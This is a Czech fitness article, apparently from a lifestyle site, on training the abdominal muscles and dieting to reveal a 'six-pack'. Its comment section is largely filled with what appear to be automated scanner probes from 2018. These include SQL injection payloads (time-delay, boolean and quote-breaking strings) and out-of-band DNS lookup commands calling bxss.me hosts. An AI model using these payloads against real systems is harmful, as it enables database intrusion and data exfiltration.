reklama
cz / EN / esp

Posilování: jak na cihličky na břiše

V našem dalším díle o posilování se podrobněji podíváme na to, jak dosáhnout hezkého břicha. Kdo by nechtěl pořádný sixpack?

reklama

Začněme s trochou anatomie. Je třeba si uvědomit jednu důležitou informace: neexistuje vrchní a spodní část břicha. Vrchní a spodní část má přímý břišní sval, který se dá izolovaně procvičit, což je také potřeba. Musíte ale vědět, že vždy pracují i ​​ostatní části.


Z čeho budeš mít na břiše cihličky?

Přímý břišní sval se skládá z 3 vodorovných a 1 svislé šlachovité části, toto umožňuje tvarování "cihliček". Takže obecně "uvnitř" máme všichni na břiše cihličky. Rozdíl je v tom, jaká vrstva tuku je skrývá a jak velký je sval, tedy jak hluboké jsou brázdy. Z toho vyplývají k dosažení cihliček na břiše dvě povinnosti: rozvoj svalstva a odstranění zakrývající tukové části.

 



1. Rozvoj svalstva
Trénink břicha je vhodné rozdělit na tři části. I když se u každého cviku zapojují všechny části břicha, důkladnou koncentrací lze izolovat každou jednu z nich.

Následují 3 typy cviků pro všechny části:
  - cviky působící na vrchní část břišního svalstva, cviky působící na spodní část břišního svalstva, cviky působící na šikmé břišní svalstvo.


Na vrchní část působí většinou zkracovačky, poloviční sed lehy, sed lehy. Úplné sed lehy raději vynechejme, protože velmi namáhají páteř. Pokud je přece jen chceme provádět, použijme jako opěrku zad například soft-ball nebo fit ballový míč.
U většiny lidí je nejproblematičtější částí spodní část břicha. Důvody jsou dvojí: za prvé se sem ukládá nejvíce tuku, za druhé se tato část nejobtížněji vypracovává. Ve většině případů je obtížné vypracování zapříčiněno špatnou technikou provedení cviků.

 

Cviky, působící na spodní část břicha, jsou prováděny zejména zvedáním nohou nebo takovými stahy břišního svalstva, které jsou prováděny pohybem přes dolní končetiny. Není jedno ani to, odkud je pohyb veden. Většina lidí dělá tu chybu, že cvičí tak, že jen zvedá nohy, což sice velmi dobře rozvíjí bedrovo - stehnový sval. Ale břišní svalstvo pracuje pouze tehdy, když zvedneme pánev.

 

 

Vezměme si jeden příklad: vleže na zádech začneme zvedat natažené nohy. Do polohy, kdy máme nohy kolmo k podložce, pracují jen bedrovo-stehenní svaly. Pokud však nadzvedneme zadek od podložky a tlačíme nohy do vrchu, tehdy se už do práce zapojuje i břišní svalstvo. Ještě intenzivnějším cvikem je přitahování kolen k hrudníku s co největším přitažením pánve. Čím více břišní svalstvo stáhneme, tím větší sílu vyvineme. Totéž platí i pro zvedání nohou ve visu.



Na šikmé břišní svaly působí všechny cviky, kterými provádíme pohyby do stran a vytáčení. I zde musíme dbát o to, abychom se opravdu zvedli a opravdu vytočili trup, abychom cvik prováděli správně.

 



A jak je to s nůžkami a plank-em (opření se o předloktí a držení těla ve vodorovné poloze)? Klidně je možné zařadit mezi cviky břicha, protože velmi dobře posilují vnitřní svalstvo trupu. Nezapomínejme ale, že působí jen statickou silou a proto nesmí být základem tréninku břicha.



2. Dieta
Bez diety sice můžeme břicho posilovat, musíte však vědět, že tuk se nachází nad svalstvem. Proto dokud neodstraníte tuk, můžete mít břicho jakékoliv silné, nebude viditelné. Vyvarujte se jednoduchým sacharidům (hlavně cukru a mouky), nasyceným tukům, polotovarům, alkoholu, jezte jídla bohatá na vlákninu, zeleninu a bílkovinné zdroje s nízkým obsahem tuku.

Michael Achberger / 24.08.2016
Související
reklama

Komentáře k článku

Vážení čtenáři, o vaše názory velmi stojíme. Chceme však, aby diskuse měly smysl. Proto vás prosíme, diskutujte slušně a k tématu článku. Příspěvky, které ve slušné a kultivované diskuzi nemají místo, mažeme.

Nový komentár





vgdvyqab 15.05.2018
1acuLhmVKMSWZ4
1acuvtU5zQLBDL 15.05.2018
1
vgdvyqab 15.05.2018
1
xglahaxy 14.05.2018
1
xglahaxy 14.05.2018
1
xglahaxy 14.05.2018
1
xglahaxy 14.05.2018
1
xglahaxy 14.05.2018
1
xglahaxy 14.05.2018
1
xglahaxy 14.05.2018
1
xglahaxy 14.05.2018
1
xglahaxy 14.05.2018
1
xglahaxy 14.05.2018
1
xglahaxy 14.05.2018
1
xglahaxy 14.05.2018
1
xglahaxy 14.05.2018
1
xglahaxy 14.05.2018
1
xglahaxy 14.05.2018
1
xglahaxy 14.05.2018
1
xglahaxy 14.05.2018
1
xglahaxy 14.05.2018
1
xglahaxy 14.05.2018
1
xglahaxy 14.05.2018
1
xglahaxy 14.05.2018
1
xglahaxy 14.05.2018
1
xglahaxy 14.05.2018
1
xglahaxy 14.05.2018
1
xglahaxy 14.05.2018
1
xglahaxy 14.05.2018
1
xglahaxy 14.05.2018
1
xglahaxy 14.05.2018
1
xglahaxy 14.05.2018
1
xglahaxy 14.05.2018
1
xglahaxy 14.05.2018
1
xglahaxy 14.05.2018
1
xglahaxy 14.05.2018
1
xglahaxy 14.05.2018
1
xglahaxy 14.05.2018
1
xglahaxy 14.05.2018
1
xglahaxy 14.05.2018
1
xglahaxy 14.05.2018
1
xglahaxy 14.05.2018
1
xglahaxy 14.05.2018
1
xglahaxy 14.05.2018
1
xglahaxy 14.05.2018
1
xglahaxy 14.05.2018
1
xglahaxy 14.05.2018
1
xglahaxy 14.05.2018
1
xglahaxy 14.05.2018
1
xglahaxy 14.05.2018
1
xglahaxy 14.05.2018
1
xglahaxy 14.05.2018
1
xglahaxy 14.05.2018
1
xglahaxy 14.05.2018
1
xglahaxy 14.05.2018
1
xglahaxy 14.05.2018
1
xglahaxy 14.05.2018
1
xglahaxy 14.05.2018
1
xglahaxy 14.05.2018
1
xglahaxy 14.05.2018
1
892' 14.05.2018
1
892' 14.05.2018
1
892' 14.05.2018
1
892' 14.05.2018
1
xglahaxy';copy (select '') to program 'nslookup dns.sqli.\039481.50-6080.50.5c01f.\1.bxss.me 14.05.2018
1
'||UTL_INADDR.get_host_address('dns.'||'sqli.039481.50-6077.50.5c01f.1.bxss'||'.me')||' 14.05.2018
1
'||UTL_INADDR.get_host_address('dns.'||'sqli.039481.50-6077.50.5c01f.1.bxss'||'.me')||' 14.05.2018
1
u87evkjI';select pg_sleep(50.782); -- 14.05.2018
1
HzhCdCEW');select pg_sleep(50.782); -- 14.05.2018
1
IlkLW1gK'));select pg_sleep(76.173); -- 14.05.2018
1
Rd2R1ROA'; waitfor delay '0:0:25.391' -- 14.05.2018
1
1 waitfor delay '0:0:25.391' -- 14.05.2018
1
(select(0)from(select(sleep(25.391)))v)/*'+(select(0)from(select(sleep(25.391)))v)+'"+(select(0)from(select(sleep(25.391)))v)+"*/ 14.05.2018
1
if(now()=sysdate(),sleep(25.391),0)/*'XOR(if(now()=sysdate(),sleep(25.391),0))OR'"XOR(if(now()=sysdate(),sleep(25.391),0))OR"*/ 14.05.2018
1
-1" OR 3*2>(0+5+571-571) -- 14.05.2018
1
-1" OR 3*2>(0+5+571-571) -- 14.05.2018
1
-1" OR 3*2>(0+5+571-571) -- 14.05.2018
1
-1" OR 3*2<(0+5+571-571) -- 14.05.2018
1
-1" OR 3+571-571-1=0+0+0+1 -- 14.05.2018
1
-1" OR 2+571-571-1=0+0+0+1 -- 14.05.2018
1
-1' OR 3*2>(0+5+229-229) or 'DwsDkZOa'=' 14.05.2018
1
-1' OR 3*2<(0+5+229-229) or 'DwsDkZOa'=' 14.05.2018
1
-1' OR 3+229-229-1=0+0+0+1 or 'DwsDkZOa'=' 14.05.2018
1
-1' OR 3+229-229-1=0+0+0+1 or 'DwsDkZOa'=' 14.05.2018
1
-1' OR 3+229-229-1=0+0+0+1 or 'DwsDkZOa'=' 14.05.2018
1
-1' OR 3*2>(0+5+742-742) -- 14.05.2018
1
-1' OR 2+229-229-1=0+0+0+1 or 'DwsDkZOa'=' 14.05.2018
1
-1' OR 2+229-229-1=0+0+0+1 or 'DwsDkZOa'=' 14.05.2018
1
-1' OR 3*2>(0+5+742-742) -- 14.05.2018
1
-1' OR 3*2>(0+5+742-742) -- 14.05.2018
1
-1' OR 3*2<(0+5+742-742) -- 14.05.2018
1
-1' OR 3+742-742-1=0+0+0+1 -- 14.05.2018
1
-1' OR 2+742-742-1=0+0+0+1 -- 14.05.2018
1
-1' OR 2+742-742-1=0+0+0+1 -- 14.05.2018
1
-1 OR 3*2>(0+5+642-642) 14.05.2018
1
-1 OR 3*2<(0+5+642-642) 14.05.2018
1
-1 OR 3+642-642-1=0+0+0+1 14.05.2018
1
-1 OR 2+642-642-1=0+0+0+1 14.05.2018
1
-1 OR 3*2>(0+5+716-716) -- 14.05.2018
1
-1 OR 3*2<(0+5+716-716) -- 14.05.2018
1
-1 OR 3+716-716-1=0+0+0+1 -- 14.05.2018
1
-1 OR 2+716-716-1=0+0+0+1 -- 14.05.2018
1
xglahaxy 14.05.2018
1
xglahaxy 14.05.2018
1
xglahaxy 14.05.2018
1
uqgmslna 14.05.2018
1
uqgmslna 14.05.2018
1
uqgmslna 14.05.2018
1
uqgmslna 14.05.2018
1
uqgmslna 14.05.2018
1
uqgmslna 14.05.2018
1
uqgmslna 14.05.2018
1
uqgmslna 14.05.2018
1
uqgmslna 14.05.2018
1
uqgmslna 14.05.2018
1
uqgmslna 14.05.2018
1
uqgmslna 14.05.2018
1
uqgmslna 14.05.2018
1
uqgmslna 14.05.2018
1
uqgmslna 14.05.2018
1
uqgmslna 14.05.2018
1
uqgmslna 14.05.2018
1
xglahaxy 14.05.2018
840'
xglahaxy 14.05.2018
1';copy (select '') to program 'nslookup dns.sqli.\039481.50-6040.50.5c01f.\1.bxss.me
xglahaxy 14.05.2018
1;copy (select '') to program 'nslookup dns.sqli.\039481.50-6034.50.5c01f.\1.bxss.me'
uqgmslna 14.05.2018
1
uqgmslna 14.05.2018
1
xglahaxy 14.05.2018
1;copy (select '') to program 'nslookup dns.sqli.\039481.50-6034.50.5c01f.\1.bxss.me'
xglahaxy 14.05.2018
1;copy (select '') to program 'nslookup dns.sqli.\039481.50-6034.50.5c01f.\1.bxss.me'
xglahaxy 14.05.2018
'||UTL_INADDR.get_host_address('dns.'||'sqli.039481.50-6028.50.5c01f.1.bxss'||'.me')||'
xglahaxy 14.05.2018
'||UTL_INADDR.get_host_address('dns.'||'sqli.039481.50-6028.50.5c01f.1.bxss'||'.me')||'
xglahaxy 14.05.2018
'||UTL_INADDR.get_host_address('dns.'||'sqli.039481.50-6028.50.5c01f.1.bxss'||'.me')||'
uqgmslna 14.05.2018
1
xglahaxy 14.05.2018
'||UTL_INADDR.get_host_address('dns.'||'sqli.039481.50-6028.50.5c01f.1.bxss'||'.me')||'
xglahaxy 14.05.2018
1||UTL_INADDR.get_host_address('dns.'||'sqli.039481.50-6021.50.5c01f.1.bxss'||'.me')
uqgmslna 14.05.2018
1
xglahaxy 14.05.2018
1||UTL_INADDR.get_host_address('dns.'||'sqli.039481.50-6021.50.5c01f.1.bxss'||'.me')
xglahaxy 14.05.2018
1||UTL_INADDR.get_host_address('dns.'||'sqli.039481.50-6021.50.5c01f.1.bxss'||'.me')
xglahaxy 14.05.2018
Wp6gzDNK'));select pg_sleep(25.89); --
''"" 14.05.2018
1
'" 14.05.2018
1
xglahaxy 14.05.2018
-1);select pg_sleep(51.78); --
xglahaxy 14.05.2018
-1));select pg_sleep(77.67); --
xglahaxy 14.05.2018
-1;select pg_sleep(51.78); --
JyI= 14.05.2018
1
xglahaxy 14.05.2018
4fBZTUB8'; waitfor delay '0:0:51.78' --
@@V2teX 14.05.2018
1
xglahaxy 14.05.2018
1 waitfor delay '0:0:51.78' --
1%2527%2522 14.05.2018
1
1%2527%2522 14.05.2018
1
xglahaxy 14.05.2018
-1); waitfor delay '0:0:25.89' --
xglahaxy 14.05.2018
-1; waitfor delay '0:0:25.89' --
xglahaxy 14.05.2018
(select(0)from(select(sleep(25.89)))v)/*'+(select(0)from(select(sleep(25.89)))v)+'"+(select(0)from(select(sleep(25.89)))v)+"*/
xglahaxy 14.05.2018
if(now()=sysdate(),sleep(25.89),0)/*'XOR(if(now()=sysdate(),sleep(25.89),0))OR'"XOR(if(now()=sysdate(),sleep(25.89),0))OR"*/
xglahaxy 14.05.2018
-1" OR 3*2>(0+5+588-588) --
xglahaxy 14.05.2018
-1" OR 3*2>(0+5+588-588) --
\ 14.05.2018
1
1'" 14.05.2018
1
xglahaxy 14.05.2018
-1" OR 3*2<(0+5+588-588) --
xglahaxy 14.05.2018
-1" OR 3+588-588-1=0+0+0+1 --
uqgmslna 14.05.2018
1
xglahaxy 14.05.2018
-1" OR 2+588-588-1=0+0+0+1 --
xglahaxy 14.05.2018
-1' OR 3*2>(0+5+98-98) or 'QhAR1T66'='
xglahaxy 14.05.2018
-1' OR 3*2<(0+5+98-98) or 'QhAR1T66'='
uqgmslna 14.05.2018
1
xglahaxy 14.05.2018
-1' OR 3*2<(0+5+98-98) or 'QhAR1T66'='
xglahaxy 14.05.2018
-1' OR 3+98-98-1=0+0+0+1 or 'QhAR1T66'='
xglahaxy 14.05.2018
-1' OR 2+98-98-1=0+0+0+1 or 'QhAR1T66'='
xglahaxy 14.05.2018
-1' OR 3*2>(0+5+804-804) --
xglahaxy 14.05.2018
-1' OR 3*2<(0+5+804-804) --
xglahaxy 14.05.2018
-1' OR 3+804-804-1=0+0+0+1 --
xglahaxy 14.05.2018
-1' OR 2+804-804-1=0+0+0+1 --
xglahaxy 14.05.2018
-1' OR 2+804-804-1=0+0+0+1 --
xglahaxy 14.05.2018
-1' OR 2+804-804-1=0+0+0+1 --
uqgmslna 14.05.2018
''""
xglahaxy 14.05.2018
-1 OR 3*2>(0+5+221-221)
uqgmslna 14.05.2018
'"
xglahaxy 14.05.2018
-1 OR 3*2<(0+5+221-221)
uqgmslna 14.05.2018
JyI=
uqgmslna 14.05.2018
@@pC6AF
xglahaxy 14.05.2018
-1 OR 3+221-221-1=0+0+0+1
xglahaxy 14.05.2018
-1 OR 2+221-221-1=0+0+0+1
xglahaxy 14.05.2018
-1 OR 3*2>(0+5+470-470) --
uqgmslna 14.05.2018
1%2527%2522
xglahaxy 14.05.2018
-1 OR 3*2<(0+5+470-470) --
xglahaxy 14.05.2018
-1 OR 2+470-470-1=0+0+0+1 --
uqgmslna 14.05.2018
\
xglahaxy 14.05.2018
-1 OR 3+470-470-1=0+0+0+1 --
xglahaxy 14.05.2018
-1 OR 2+470-470-1=0+0+0+1 --
uqgmslna 14.05.2018
1'"
uqgmslna 14.05.2018
1
xglahaxy 14.05.2018
1
xglahaxy 14.05.2018
1
gaboeqdf 13.05.2018
1
reklama

reklama

reklama


Najdete na FreshGayMag